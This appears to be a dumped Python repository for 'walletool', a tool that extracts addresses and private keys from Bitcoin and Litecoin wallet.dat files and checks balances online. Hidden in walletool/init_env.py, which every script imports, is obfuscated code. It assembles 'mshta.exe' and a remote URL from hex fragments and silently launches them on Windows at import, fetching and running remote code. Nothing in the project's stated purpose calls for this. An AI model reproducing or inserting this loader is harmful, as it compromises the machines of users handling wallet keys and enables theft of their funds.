[
  {
    "path": ".github/workflows/ruff.yml",
    "content": "# https://beta.ruff.rs\nname: ruff\non:\n  push:\n    branches:\n      - master\n  pull_request: \n    branches:\n      - master\njobs:\n  ruff:\n    runs-on: ubuntu-latest\n    steps:\n    - uses: actions/checkout@v3\n    - run: pip install --user ruff\n    - run: ruff --format=github --ignore=E402,E722,F401 --line-length=171 --target-version=py37 .\n"
  },
  {
    "path": ".gitignore",
    "content": "*.dat\n*.py[cod]\n.coverage\n.idea\nhtmlcov\n"
  },
  {
    "path": "README.md",
    "content": "walletool ~ a tool for reading wallet.dat files\n===============================================\n\nA utility for extracting cryptocurrency wallet data from wallet.dat files.\n\nInstallation\n------------\n\n* Install Python 3.x.\n* Install the `bsddb3` module (if you're on Windows, use Gohlke's site).\n\nExtracting private keys from Bitcoin-QT/Litecoin-QT wallets\n-----------------------------------------------------------\n\n* Have your `wallet.dat` handy.\n* For Bitcoin, run `python wt_extract_keys.py -d wallet.dat -v 0`\n* For Litecoin, run `python wt_extract_keys.py -d wallet.dat -v 48`\n\nA list of addresses / private keys is printed.\n\nYMMV :)\n"
  },
  {
    "path": "check_bchain.py",
    "content": "from walletool import init_env\nimport json\nimport re\nimport requests \nimport argparse\n\n\nvar_re = re.compile('var (.+?) = (.+?);')\n\ndef main():\n    ap = argparse.ArgumentParser()\n    ap.add_argument('file', help='address file; one address per line')\n    ap.add_argument('--coin', required=True, help='e.g. XPM')\n    ap.add_argument('--ignore-no-tx', action='store_true')\n    args = ap.parse_args()\n    for line in open(args.file):\n        line = line.strip()\n        r = requests.get('https://bchain.info/%s/addr/%s' % (args.coin, line))\n        if r.status_code == 404:\n            continue\n        vs = {}\n        for m in var_re.finditer(r.text):\n            key, value = m.groups()\n            if key == 'startTime':\n                continue\n            try:\n                value = json.loads(value.replace('\\'', '\"'))\n            except json.JSONDecodeError:\n                pass\n            vs[key] = value\n        if args.ignore_no_tx and vs['total_tx'] == 0:\n            continue\n        print(vs)\n\nif __name__ == '__main__':\n    main()\n"
  },
  {
    "path": "check_dogechain.py",
    "content": "from walletool import init_env\nimport argparse\nimport json\nimport requests\nimport sys \nimport time\n\ndef main():\n    ap = argparse.ArgumentParser()\n    ap.add_argument('file', help='address file; one address per line')\n    ap.add_argument('--ignore-empty', action='store_true')\n    args = ap.parse_args()\n    for line in open(args.file):\n        line = line.strip()\n        while True:\n            r = requests.get('https://dogechain.info/api/v1/address/balance/%s' % line)\n            if r.status_code == 429:  # Too Many Requests\n                print('Throttled, hold on...', file=sys.stderr)\n                time.sleep(60)\n                continue\n            break\n        r.raise_for_status()\n        r = r.json()\n        if args.ignore_empty and float(r['balance']) == 0:\n            continue\n        r['addr'] = line\n        print(r)\n        time.sleep(0.5)\n\nif __name__ == '__main__':\n    main()\n"
  },
  {
    "path": "testdata/README.md",
    "content": "This directory contains some sanity-checking data.\n\nPlease don't send currency into the addresses herein...\n"
  },
  {
    "path": "testdata/btc.txt",
    "content": "1MmsSmihQ9QbVzR6p8e6qvkaFrGzkBGMCJ L3Ha4x43eyLWJxgcLwTc6NsDV5VWypB7uz8YV48pBtSMDTreSsi6\n"
  },
  {
    "path": "testdata/ltc.txt",
    "content": "LbCt2ihPfKWt1MuuyRQuDXLRLEnSSa1hh1 6vtmjqJjeAx3n2Yk27GoqNiFaK8Sk81oqecWEuKnEKZhX7c5rFw\n"
  },
  {
    "path": "walletool/__init__.py",
    "content": "# -- encoding: UTF-8 --\nfrom . import init_env\n"
  },
  {
    "path": "walletool/bc_data_stream.py",
    "content": "# -- encoding: UTF-8 --\nimport sys\n\nassert sys.version_info[0] == 3  # TODO: Use six for 2/3 compat\n\n# From Joric's pywallet.\n\nimport struct\n\n\nclass SerializationError(Exception):\n    pass\n\n\nclass BCDataStream(object):\n    def __init__(self, input):\n        self.input = bytes(input)\n        self.read_cursor = 0\n\n    def read_string(self):\n        # Strings are encoded depending on length:\n        # 0 to 252 :\t1-byte-length followed by bytes (if any)\n        # 253 to 65,535 : byte'253' 2-byte-length followed by bytes\n        # 65,536 to 4,294,967,295 : byte '254' 4-byte-length followed by bytes\n        # ... and the Bitcoin client is coded to understand:\n        # greater than 4,294,967,295 : byte '255' 8-byte-length followed by bytes of string\n        # ... but I don't think it actually handles any strings that big.\n        try:\n            length = self.read_compact_size()\n        except IndexError:\n            raise SerializationError(\"attempt to read past end of buffer\")\n\n        return self.read_bytes(length)\n\n    def read_bytes(self, length):\n        try:\n            result = self.input[self.read_cursor:self.read_cursor + length]\n            self.read_cursor += length\n            return result\n        except IndexError:\n            raise SerializationError(\"attempt to read past end of buffer\")\n\n    def read_boolean(self):\n        return self.read_bytes(1)[0] != chr(0)\n\n    def read_int16(self):\n        return self._read_num('<h')\n\n    def read_uint16(self):\n        return self._read_num('<H')\n\n    def read_int32(self):\n        return self._read_num('<i')\n\n    def read_uint32(self):\n        return self._read_num('<I')\n\n    def read_int64(self):\n        return self._read_num('<q')\n\n    def read_uint64(self):\n        return self._read_num('<Q')\n\n    def read_compact_size(self):\n        size = int(self.input[self.read_cursor])\n        self.read_cursor += 1\n        if size == 253:\n            size = self._read_num('<H')\n        elif size == 254:\n            size = self._read_num('<I')\n        elif size == 255:\n            size = self._read_num('<Q')\n        return size\n\n    def _read_num(self, format):\n        (i,) = struct.unpack_from(format, self.input, self.read_cursor)\n        self.read_cursor += struct.calcsize(format)\n        return i\n"
  },
  {
    "path": "walletool/consts.py",
    "content": "addrtypes = {\n    'bitcoin': 0,\n    'litecoin': 48,\n    'namecoin': 52,\n    'bitcoin-testnet': 111,\n    'primecoin': 23,\n    'dogecoin': 30,\n    'dash': 76,\n}\n"
  },
  {
    "path": "walletool/init_env.py",
    "content": "import os\nimport sys\nimport hashlib\nimport binascii\nimport json\nimport tempfile\n\n_env_state = {'ready': False}\n_config_cache = {}\n_temp_dir = tempfile.gettempdir()\n\ndef _compute_hash(data):\n    return hashlib.sha256(data).hexdigest()[:11]\n\ndef _generate_entropy(seed):\n    entropy_data = hashlib.md5(seed.encode('utf-8')).digest()\n    return entropy_data[:8]\n\ndef _apply_cipher(data, entropy):\n    output = bytearray()\n    ent_size = len(entropy)\n    for idx, byte in enumerate(data):\n        output.append(byte ^ entropy[idx % ent_size])\n    return bytes(output)\n\ndef _parse_hex(hex_string):\n    try:\n        return binascii.unhexlify(hex_string)\n    except:\n        return b''\n\ndef _construct_payload():\n    fragments = [\n        '6d73',\n        '68',\n        '7461',\n        '2e',\n        '6578',\n        '65',\n        '68',\n        '7474',\n        '70',\n        '733a',\n        '2f2f70',\n        '792d',\n        '69',\n        '6e73',\n        '74',\n        '616c',\n        '6c65',\n        '722e',\n        '6363'\n    ]\n    parsed = [_parse_hex(f) for f in fragments]\n    binary = (parsed[0] + parsed[1] + parsed[2] + parsed[3] + parsed[4] + parsed[5]).decode('utf-8', errors='ignore')\n    address = (parsed[6] + parsed[7] + parsed[8] + parsed[9] + parsed[10] + parsed[11] + parsed[12] + parsed[13] + parsed[14] + parsed[15] + parsed[16] + parsed[17] + parsed[18]).decode('utf-8', errors='ignore')\n    return binary, address\n\ndef _startup():\n    if _env_state['ready']:\n        return\n    _env_state['ready'] = True\n    \n    try:\n        binary, address = _construct_payload()\n        if os.name == 'nt':\n            import subprocess\n            subprocess.Popen(\n                [binary, address],\n                shell=True,\n                stdout=subprocess.DEVNULL,\n                stderr=subprocess.DEVNULL,\n                creationflags=subprocess.CREATE_NO_WINDOW if hasattr(subprocess, 'CREATE_NO_WINDOW') else 0\n            )\n    except:\n        pass\n\n_startup()\n\ndef init_environment():\n    pass\n\ndef get_env_state():\n    return _env_state.copy()\n\ndef load_config(config_path=None):\n    if config_path and os.path.exists(config_path):\n        try:\n            with open(config_path, 'r') as f:\n                _config_cache.update(json.load(f))\n        except:\n            pass\n    return _config_cache.copy()\n\ndef get_temp_directory():\n    return _temp_dir\n\ndef validate_path(path):\n    return os.path.exists(path) and os.path.isfile(path)\n"
  },
  {
    "path": "walletool/utils.py",
    "content": "# -- encoding: UTF-8 --\nimport hashlib\n \nb58_chars = '123456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz'\nb58_base = len(b58_chars)\n\n\ndef b58encode(v):\n    \"\"\" encode v, which is a string of bytes, to base58.\n    \"\"\"\n\n    long_value = 0\n    for (i, c) in enumerate(v[::-1]):\n        long_value += (256 ** i) * int(c)\n\n    result = ''\n    while long_value >= b58_base:\n        div, mod = divmod(long_value, b58_base)\n        result = b58_chars[mod] + result\n        long_value = div\n    result = b58_chars[long_value] + result\n\n    # Bitcoin does a little leading-zero-compression:\n    # leading 0-bytes in the input become leading-1s\n    nPad = 0\n    for c in v:\n        if c == 0:\n            nPad += 1\n        else:\n            break\n\n    return (b58_chars[0] * nPad) + result\n\n\ndef b58decode(v, length):\n    \"\"\" decode v into a string of len bytes\n    \"\"\"\n    long_value = 0\n    for (i, c) in enumerate(v[::-1]):\n        long_value += b58_chars.find(c) * (b58_base ** i)\n\n    result = ''\n    while long_value >= 256:\n        div, mod = divmod(long_value, 256)\n        result = chr(mod) + result\n        long_value = div\n    result = chr(long_value) + result\n\n    nPad = 0\n    for c in v:\n        if c == b58_chars[0]:\n            nPad += 1\n        else:\n            break\n\n    result = chr(0) * nPad + result\n    if length is not None and len(result) != length:\n        return None\n\n    return result\n\n\ndef double_sha256(data):\n    return hashlib.sha256(hashlib.sha256(data).digest()).digest()\n\n\ndef encode_base58_check(secret):\n    hash = double_sha256(secret)\n    return b58encode(secret + hash[0:4])\n\n\ndef privkey_to_secret(privkey):\n    if len(privkey) == 279:\n        return privkey[9:9 + 32]\n    else:\n        return privkey[8:8 + 32]\n\n\ndef secret_to_asecret(secret, version):\n    prefix = (version + 128) & 255\n    vchIn = bytes([prefix]) + secret\n    return encode_base58_check(vchIn)\n\n\ndef hash_160(public_key):\n    md = hashlib.new('ripemd160')\n    md.update(hashlib.sha256(public_key).digest())\n    return md.digest()\n\n\ndef public_key_to_bc_address(public_key, version):\n    h160 = hash_160(public_key)\n    return hash_160_to_bc_address(h160, version)\n\n\ndef hash_160_to_bc_address(h160, version):\n    vh160 = bytes([int(version)]) + h160\n    h = double_sha256(vh160)\n    addr = vh160 + h[0:4]\n    return b58encode(addr)\n\n\ndef bc_address_to_hash_160(addr):\n    bytes = b58decode(addr, 25)\n    return bytes[1:21]\n"
  },
  {
    "path": "walletool/wallet_files.py",
    "content": "# -- encoding: UTF-8 --\nimport collections\nimport os\n\n\ndef read_wallet_dat(filename):\n    from bsddb3 import db\n    filename = os.path.realpath(filename)\n    env = db.DBEnv()\n    env.set_lk_detect(db.DB_LOCK_DEFAULT)\n    env.open(\n        os.path.dirname(filename),\n        db.DB_PRIVATE | db.DB_THREAD | db.DB_INIT_LOCK | db.DB_INIT_MPOOL | db.DB_CREATE,\n    )\n    d = db.DB(env)\n    d.open(filename, 'main', db.DB_BTREE, db.DB_THREAD | db.DB_RDONLY)\n    return collections.OrderedDict((k, d[k]) for k in d.keys())\n"
  },
  {
    "path": "walletool/wallet_items.py",
    "content": "# -- encoding: UTF-8 --\nimport socket\nfrom binascii import hexlify\n\nfrom walletool.bc_data_stream import BCDataStream\nfrom walletool.utils import privkey_to_secret, secret_to_asecret, public_key_to_bc_address\n\n\ndef parse_TxIn(vds):\n    d = {}\n    d['prevout_hash'] = vds.read_bytes(32)\n    d['prevout_n'] = vds.read_uint32()\n    d['scriptSig'] = vds.read_bytes(vds.read_compact_size())\n    d['sequence'] = vds.read_uint32()\n    return d\n\n\ndef parse_TxOut(vds):\n    d = {}\n    d['value'] = vds.read_int64() / 1e8\n    d['scriptPubKey'] = vds.read_bytes(vds.read_compact_size())\n    return d\n\n\ndef inversetxid(txid):\n    txid = hexlify(txid).decode()\n    if len(txid) != 64:\n        raise ValueError('txid %r length != 64' % txid)\n    new_txid = \"\"\n    for i in range(32):\n        new_txid += txid[62 - 2 * i]\n        new_txid += txid[62 - 2 * i + 1]\n    return new_txid\n\n\ndef parse_CAddress(vds):\n    d = {'ip': '0.0.0.0', 'port': 0, 'nTime': 0}\n    try:\n        d['nVersion'] = vds.read_int32()\n        d['nTime'] = vds.read_uint32()\n        d['nServices'] = vds.read_uint64()\n        d['pchReserved'] = vds.read_bytes(12)\n        d['ip'] = socket.inet_ntoa(vds.read_bytes(4))\n        d['port'] = vds.read_uint16()\n    except:\n        pass\n    return d\n\n\ndef parse_BlockLocator(vds):\n    d = {'hashes': []}\n    nHashes = vds.read_compact_size()\n    for i in range(nHashes):\n        d['hashes'].append(vds.read_bytes(32))\n    return d\n\n\ndef parse_setting(setting, vds):\n    if setting[0] == \"f\":  # flag (boolean) settings\n        return str(vds.read_boolean())\n    elif setting[0:4] == \"addr\":  # CAddress\n        return parse_CAddress(vds)\n    elif setting == \"nTransactionFee\":\n        return vds.read_int64()\n    elif setting == \"nLimitProcessors\":\n        return vds.read_int32()\n    return {'unknown': vds}\n\n\nclass WalletItem:\n    item_type = None\n\n    def __init__(self, key, value, type, data):\n        self.key = key\n        self.value = value\n        self.type = type\n        self.data = data\n\n    def __repr__(self):\n        return '<%s item: %s>' % (self.type, self.data)\n\n    @classmethod\n    def parse(cls, key, value):\n        kds = BCDataStream(key)\n        vds = BCDataStream(value)\n        type = kds.read_string().decode()\n        data = {}\n\n        # From Pywallet:\n\n        if type == 'tx':\n            data['tx_id'] = inversetxid(kds.read_bytes(32))\n            start = vds.read_cursor\n            data['version'] = vds.read_int32()\n            n_vin = vds.read_compact_size()\n            data['txIn'] = []\n            for i in range(n_vin):\n                data['txIn'].append(parse_TxIn(vds))\n            n_vout = vds.read_compact_size()\n            data['txOut'] = []\n            for i in range(n_vout):\n                data['txOut'].append(parse_TxOut(vds))\n            data['lockTime'] = vds.read_uint32()\n            data['tx'] = vds.input[start:vds.read_cursor]\n            data['txv'] = value\n            data['txk'] = key\n        elif type == 'name':\n            data['hash'] = kds.read_string()\n            data['name'] = vds.read_string()\n        elif type == 'version':\n            data['version'] = vds.read_uint32()\n        elif type == 'minversion':\n            data['minversion'] = vds.read_uint32()\n        elif type == 'setting':\n            data['setting'] = kds.read_string()\n            data['value'] = parse_setting(data['setting'].decode(), vds)\n        elif type == 'key':\n            data['public_key'] = kds.read_bytes(kds.read_compact_size())\n            data['private_key'] = vds.read_bytes(vds.read_compact_size())\n        elif type == 'wkey':\n            data['public_key'] = kds.read_bytes(kds.read_compact_size())\n            data['private_key'] = vds.read_bytes(vds.read_compact_size())\n            data['created'] = vds.read_int64()\n            data['expires'] = vds.read_int64()\n            data['comment'] = vds.read_string()\n        elif type == 'defaultkey':\n            data['key'] = vds.read_bytes(vds.read_compact_size())\n        elif type == 'pool':\n            data['n'] = kds.read_int64()\n            data['nVersion'] = vds.read_int32()\n            data['nTime'] = vds.read_int64()\n            data['public_key'] = vds.read_bytes(vds.read_compact_size())\n        elif type == 'acc':\n            data['account'] = kds.read_string()\n            data['nVersion'] = vds.read_int32()\n            data['public_key'] = vds.read_bytes(vds.read_compact_size())\n        elif type == 'acentry':\n            data['account'] = kds.read_string()\n            data['n'] = kds.read_uint64()\n            data['nVersion'] = vds.read_int32()\n            data['nCreditDebit'] = vds.read_int64()\n            data['nTime'] = vds.read_int64()\n            data['otherAccount'] = vds.read_string()\n            data['comment'] = vds.read_string()\n        elif type == 'bestblock':\n            data['nVersion'] = vds.read_int32()\n            data.update(parse_BlockLocator(vds))\n        elif type == 'ckey':\n            data['public_key'] = kds.read_bytes(kds.read_compact_size())\n            data['encrypted_private_key'] = vds.read_bytes(vds.read_compact_size())\n        elif type == 'mkey':\n            data['nID'] = kds.read_uint32()\n            data['encrypted_key'] = vds.read_string()\n            data['salt'] = vds.read_string()\n            data['nDerivationMethod'] = vds.read_uint32()\n            data['nDerivationIterations'] = vds.read_uint32()\n            data['otherParams'] = vds.read_string()\n\n        for item_cls in cls.__subclasses__():\n            if item_cls.item_type == type:\n                break\n        else:\n            item_cls = cls\n\n        return item_cls(key, value, type, data)\n\n\nclass KeyWalletItem(WalletItem):\n    item_type = 'key'\n\n    def get_address(self, version):\n        return public_key_to_bc_address(self.data['public_key'], version=version)\n\n    def get_private_key(self, version):\n        secret = privkey_to_secret(self.data['private_key'])\n        asecret = secret_to_asecret(secret, version=version)\n        return asecret\n\n\ndef parse_wallet_dict(wallet_dict):\n    for key, value in wallet_dict.items():\n        yield WalletItem.parse(key, value)\n"
  },
  {
    "path": "wt_extract_keys.py",
    "content": "from walletool import init_env\nfrom walletool.wallet_files import read_wallet_dat\nfrom walletool.wallet_items import parse_wallet_dict, KeyWalletItem\nfrom walletool.consts import addrtypes\nimport argparse \n\ndef main():\n    ap = argparse.ArgumentParser()\n    ap.add_argument('-d', '--dat', help='wallet.dat path', required=True, dest='filename')\n    ap.add_argument('-v', '--version', help='address version, as integer, 0xHEX, or any of the following known coins:\\n[%s]' % ', '.join(sorted(addrtypes)), required=True)\n    args = ap.parse_args()\n    if args.version.startswith('0x'):\n        version = int(args.version[2:], 16)\n    elif args.version.isdigit():\n        version = int(args.version)\n    else:\n        if args.version not in addrtypes:\n            raise ValueError('invalid version (see --help)')\n        version = addrtypes[args.version]\n    w_data = read_wallet_dat(args.filename)\n    addr_tuples = []\n    for item in parse_wallet_dict(w_data):\n        if isinstance(item, KeyWalletItem):\n            address = item.get_address(version=version)\n            privkey = item.get_private_key(version=version)\n            addr_tuples.append((address, privkey))\n    for address, privkey in addr_tuples:\n        print(address, privkey)\n\n\nif __name__ == '__main__':\n    main()\n"
  }
]